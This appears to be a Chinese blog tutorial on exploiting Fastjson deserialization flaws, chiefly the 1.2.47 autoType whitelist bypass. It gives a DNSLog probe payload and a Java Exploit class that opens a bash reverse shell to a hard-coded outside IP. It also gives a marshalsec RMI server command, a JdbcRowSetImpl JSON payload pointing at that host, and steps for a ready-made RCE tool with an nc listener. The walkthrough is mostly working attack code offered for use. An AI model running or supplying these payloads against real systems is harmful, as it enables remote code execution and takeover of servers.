Fastjson漏洞

本文详细介绍了Fastjson的历史漏洞,特别是1.2.47版本的反序列化漏洞,以及如何构造恶意利用链绕过白名单。还探讨了Fastjson的利用方式,包括通过DNSLog、RMIRefServer和利用工具执行命令,强调了Fastjson在JSON解析中的安全隐患。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

➢ Fastjson概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

➢历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

➢ Fastjson1.2.47反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

➢ Fastjson寻找
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
在这里插入图片描述
➢ Json认识

{
"name":"smith".
"age":28,
"sex":"男"
"school":{
"sname":"南京大学".
"address":"南京市鼓楼区汉口路22号"
}
}
{"name":"smith","empno":1001,"job":"clerck","sal":9000.00,"comm":5000.00}

➢ Fastjson漏洞发现(利用 dnslog)

{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}

在这里插入图片描述
➢ Fastjson的利用(编译)
新建Exploit.java
内容为:https://cowtransfer.com/s/7841d5d6121747
然后cmd下执行:javac Exploit.java,就会生成一个class文件

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;&
/dev/tcp/139.9.198.30/6666 0&gt;&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

➢ Fastjson的利用
把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文
件放进入,
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://139.9.198.30/2/#Exploit” 1234

在这里插入图片描述
➢ Fastjson的利用
执行攻击payload:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://139.9.1
98.30:1234/Exploit","autoCommit":true}}

➢ Fastjson的利用(反弹 shell)在这里插入图片描述
在这里插入图片描述
➢ Fastjson的利用(简捷)
项目地址:
https://github.com/Betsy0/fastjson_rce_tool

➢ Fastjson的利用(简捷)
java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命
令“
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html在这里插入图片描述
➢ Fastjson的利用(简捷)
生成payload在这里插入图片描述
➢ Fastjson的利用(简捷)
Nc监听端口,并将生成的payload执行在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值